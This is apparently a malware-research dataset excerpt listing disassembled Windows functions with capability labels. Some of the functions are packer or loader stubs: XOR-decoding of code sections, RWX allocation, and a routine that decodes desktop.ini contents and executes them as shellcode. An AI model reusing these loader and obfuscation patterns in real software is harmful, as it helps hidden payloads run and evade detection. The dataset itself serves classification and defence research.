joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d110c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100d11a9
push ebx
push esi
call fcn.100d10d5
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100cf83c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100d1156
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100d11a8
push edi
push eax
call fcn.100cc400
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100d1176
call fcn.100cc3c6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100d11a7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100cf83c
add esp, 0x20
test eax, eax
jne 0x100d1195
push edi
call fcn.100cc3c6
jmp 0x100d119d
push ebx
call fcn.100cc3c6
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100d11ac
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100d11bd
pop esi
ret
push ebx
push edi
push esi
call fcn.100d10d5
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100cc400
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100d11e5
push ebx
push esi
push edi
call fcn.100b0710
add esp, 0xc
push 0
call fcn.100cc3c6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x100d15a9
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100d11fa
Function at 0x100d9350
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100d937d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100d937d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409e8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x409e9b
pop dword [ebp - 0xc]
mov eax, 0xeb2d9ea4
add eax, 0x1512fff7
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x8fffb2e4
add dword [ebp - 0x1c], 0xbe529267
mov dword [ebp - 0x18], 0x2e98bfbb
add dword [ebp - 0x18], 0x39a8c8a
mov dword [ebp - 0x14], 0x8ea1aba5
sub dword [ebp - 0x14], 0x42556777
mov dword [ebp - 0x10], 0x5ebcf18f
sub dword [ebp - 0x10], 0x5ebcf18f
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x86c47d7
sub eax, 0x82b7783
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x98b1873c
add dword [ebp - 0x1c], 0xdbc0e21a
mov dword [ebp - 0x18], 0x1ecbd8cc
sub dword [ebp - 0x18], 0xdd5f7757
mov dword [ebp - 0x14], 0xc3263167
sub dword [ebp - 0x14], 0x5fb6c4fb
mov dword [ebp - 0x10], 0x8190b559
sub dword [ebp - 0x10], 0x8190b559
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x776fa87b
add eax, 0x88d127d1
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3b67e
push 0
call eax
mov ecx, 0x55e4cf77
add ecx, 0xaa1b7f9d
mov edi, eax
mov edx, 0xfbe2623a
sub edx, 0xfba0b23a
add edx, dword [ebp - 0xc]
mov esi, 0x9da1162f
sub esi, 0x37f042e2
mov dword [ebp - 8], 0x9138594
mov ebx, dword [edx]
sub dword [ebp - 4], 0x8f799f1c
sub ebx, esi
xor dword [ebp - 8], 0x20ab1f76
mov dword [edi], ebx
xor dword [ebp - 4], ebx
add edi, 0x96925a9c
sub edi, 0x96925a98
add edx, 0xf3e5c054
sub edx, 0xf3e5c050
loop 0x409fbd
add eax, 0xb6bd2555
sub eax, 0xb6bbf632
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x68681820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov edi, dword [0x68686094]
mov esi, dword [ebp + 8]
test edi, edi
je 0x686819e0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x68686094]
movzx eax, al
bt eax, esi
jae 0x68681a40
mov ecx, dword [0x68686084]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x686818e6
test byte [0x68682030], 8
jne 0x68681980
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x68682040], 8
jne 0x68681930
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x686818b5
cmp esi, 3
jbe 0x686818f0
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
mov dword [esp + 8], str._s:_s:_s
lea edx, [edi + 1]
mov dword [esp], eax
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x686840e8]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x686818b5
mov ecx, dword [0x68686094]
test ecx, ecx
je 0x68681a20
mov dword [esp], 0x68682040
call dword [0x68686094]
test al, 8
je 0x6868188c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x6868188c
mov ebx, dword [0x68686094]
test ebx, ebx
je 0x68681a00
mov dword [esp], 0x68682030
call dword [0x68686094]
test al, 8
je 0x68681879
call dword [sym.imp.kernel32.dll_GetTickCount]
lea ebx, [esp + 0x28]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mov eax, 0x10624dd3
mov dword [esp], ebx
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x6868187f
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x68686094
call sym._load_func.part.0
jmp 0x68681840
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x68686094
call sym._load_func.part.0
jmp 0x6868198a
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x68686094
call sym._load_func.part.0
jmp 0x6868193e
mov eax, 0xffffffff
jmp 0x686818e6
Function at 0x403ef3
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4158ef
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0x10
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x30
push ecx
push 0x41dcb4
mov ecx, dword [ebp - 0x28]
call fcn.00403d54
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x20]
push eax
call dword [0x4170a0]
lea ecx, [ebp - 0x20]
push ecx
mov ecx, dword [ebp - 0x28]
add ecx, 0x2c
call fcn.004152cc
jmp 0x403f72
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4136f1
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
pop ebp
ret 4

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x2435391e
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x60fd2fbb
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x405c60
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b3b85
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.0049dd9a
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x90
call fcn.00402f30
mov ecx, dword [ebp - 0x10]
add ecx, 0xac
call fcn.00403f90
mov ecx, dword [ebp - 0x10]
add ecx, 0xb4
call fcn.00402ee0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0xb8
call fcn.00437d30
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x4f4c
call fcn.00402ee0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x10]
add ecx, 0x4f50
call fcn.0047d989
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
add ecx, 0x4f6c
call fcn.00403f90
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x4be27c
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0xa8], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4f64], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x4f68], 0
push 1
push 1
lea ecx, [ebp - 0x18]
call fcn.00408030
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x4f6c], ecx
mov dword [eax + 0x4f70], edx
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x88], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4f3c], 1
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x4f40], 0
mov ecx, 0x4e6ba0
call fcn.00402f10
push eax
push 1
push str.CopyFilesToAll
push str.Options
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x8c], eax
mov ecx, dword [ebp - 0x10]
call fcn.004167a0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4f38], 1
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xa0], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x4f34], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4f30], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cf50
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b447a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
push 0x35c
call fcn.00403f70
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0
je 0x40cf98
mov ecx, dword [ebp - 0x18]
call fcn.00456360
mov dword [ebp - 0x1c], eax
jmp 0x40cf9f
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xa8], edx
mov ecx, 0x4e6ba0
call fcn.00402f10
push eax
push 0
push str.SaveImageInfo
push str.Options
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x4f34], eax
mov ecx, 0x4e6ba0
call fcn.00402f10
push eax
push 1
push str.SaveImageInfoMsg
push str.Options
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4f30], eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp dword [eax + 0xa8], 0
setne cl
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4167a0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, 0x4e6b78
call fcn.00402f10
push eax
push 8
push str.FontSize
push str.InfoText
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 4]
mov word [ecx + 0x4f48], ax
mov ecx, 0x4e6b78
call fcn.00402f10
push eax
push 0x80
lea edx, [ebp - 0x84]
push edx
push str.Arial
push str.FontName
push str.InfoText
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x84]
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x4f4c
call fcn.00484443
mov ecx, 0x4e6b78
call fcn.00402f10
push eax
push 0
push str.FontAttributes
push str.InfoText
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x4f44], eax
mov ecx, 0x4e6b78
call fcn.00402f10
push eax
push 1
push str.DrawLines
push str.InfoText
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edx, dword [ebp - 4]
mov dword [edx + 0x4f38], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417000
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b4c2a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe0
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
call fcn.00402ee0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.00402ee0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
call fcn.00405b90
push eax
lea ecx, [ebp - 0x9c]
call fcn.0048402f
mov byte [ebp - 4], 2
xor eax, eax
mov al, byte [0x4e6bdc]
and eax, 1
test eax, eax
jne 0x417090
mov cl, byte [0x4e6bdc]
or cl, 1
mov byte [0x4e6bdc], cl
push 0x4be15c
mov ecx, 0x4e6bd8
call fcn.00484328
push 0x417220
call fcn.0046748c
add esp, 4
cmp dword [ebp + 8], 0
jne 0x4170a7
push 0x4be15c
mov ecx, 0x4e6bd8
call fcn.00484443
jmp 0x4170b5
mov edx, dword [ebp + 8]
push edx
mov ecx, 0x4e6bd8
call fcn.00484443
mov ecx, 0x4e6bd8
call fcn.00412a60
test eax, eax
jle 0x4170d3
push 0x4e6bd8
lea ecx, [ebp - 0x9c]
call fcn.004843f3
lea ecx, [ebp - 0x9c]
call fcn.00484836
push str.BILDER
lea ecx, [ebp - 0x9c]
call fcn.0047aa3f
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffff
je 0x417158
lea ecx, [ebp - 0x9c]
call fcn.00412a60
sub eax, dword [ebp - 0xa0]
push eax
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0047a8d3
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0xac], ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0xac]
push edx
lea ecx, [ebp - 0x9c]
call fcn.004843f3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa4]
call fcn.004842ba
mov ecx, 0x4e6b78
call fcn.00402f10
push eax
push 0x7d
lea eax, [ebp - 0x98]
push eax
push str._Unknown_
lea ecx, [ebp - 0x9c]
call fcn.00402f10
push eax
push str.LockedFiles
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x4171a1
push str._Unknown_
lea ecx, [ebp - 0x98]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0xf128
lea ecx, [ebp - 0x18]
call fcn.0048496b
lea edx, [ebp - 0x98]
push edx
lea ecx, [ebp - 0x18]
call fcn.00402f10
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0047adc5
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x14]
call fcn.00402f10
push eax
call fcn.0048e88b
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x9c]
call fcn.004842ba
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004842ba
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.004842ba
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x43ba00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b7469
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
push 5
lea ecx, [ebp + 8]
call fcn.00402f10
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov word [ebp - 0x14], ax
mov eax, dword [ebp - 0x14]
and eax, 0xffff
cmp eax, 0x20
jge 0x43ba69
push ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
lea edx, [ebp + 8]
push edx
call fcn.0048402f
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.0043ba90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004842ba
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x457d40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b9846
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x174
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x1c]
call fcn.00486cdf
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x34c], 0
je 0x457d8f
mov ecx, dword [ebp - 0x14]
call fcn.00457f60
lea ecx, [ebp - 0x120]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push str._sVarError.txt
mov eax, dword [ebp - 0x14]
add eax, 0x1c
push eax
call fcn.0047adc5
add esp, 0xc
push 0x14
call fcn.00403f70
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x12c], ecx
mov byte [ebp - 4], 2
cmp dword [ebp - 0x12c], 0
je 0x457e1e
mov ecx, dword [ebp - 0x14]
add ecx, 0x1c
call fcn.00402f10
mov dword [ebp - 0x13c], eax
push 0x1001
mov edx, dword [ebp - 0x13c]
push edx
mov ecx, dword [ebp - 0x12c]
call fcn.004857ab
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
jmp 0x457e28
mov dword [ebp - 0x144], 0
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x128], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x128]
mov dword [edx + 0x34c], eax
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [ecx + 0x34c], 0
setne dl
mov dword [ebp - 0x130], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004128f0
mov eax, dword [ebp - 0x130]
jmp 0x457ea1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x458330
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004585cf
test eax, eax
jne 0x458351
xor eax, eax
jmp 0x458464
mov edx, dword [ebp + 0x10]
push edx
push 0x4e32ec
push 0x4e93a0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
push 0x4e32f0
push 0x4e94c0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x124], 0x4e94c0
push 0x4e32f4
push 0x4e94c0
call fcn.004679e7
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4583c1
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x124], ecx
push 0x4e32f8
push 0
call fcn.004679e7
add esp, 8
mov dword [ebp - 4], eax
jmp 0x45839e
mov edx, dword [ebp - 0x124]
push edx
push 0x4e93a0
call fcn.004677d0
add esp, 8
push 0
lea eax, [ebp - 0x98]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call sub.LZ32.dll_LZOpenFileA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4583f4
xor eax, eax
jmp 0x458464
push 0x1000
lea edx, [ebp - 0x120]
push edx
push 0x4e93a0
call sub.LZ32.dll_LZOpenFileA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x458420
mov eax, dword [ebp - 0x10]
push eax
call sub.LZ32.dll_LZClose
xor eax, eax
jmp 0x458464
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.LZ32.dll_LZCopy
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
call sub.LZ32.dll_LZClose
mov ecx, dword [ebp - 0xc]
push ecx
call sub.LZ32.dll_LZClose
cmp dword [ebp - 8], 0
jg 0x458455
push 0x4e93a0
call fcn.00468526
add esp, 4
cmp dword [ebp - 8], 0
jge 0x45845f
xor eax, eax
jmp 0x458464
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4587ac
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov dword [ebp - 0x118], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll__lopen]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffff
je 0x458823
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll__lclose]
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0x118], 1
jne 0x458890
push 2
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll__lopen]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffff
je 0x458890
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x10c]
push ecx
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll__lclose]
mov eax, dword [ebp - 0x118]
mov esp, ebp
pop ebp
ret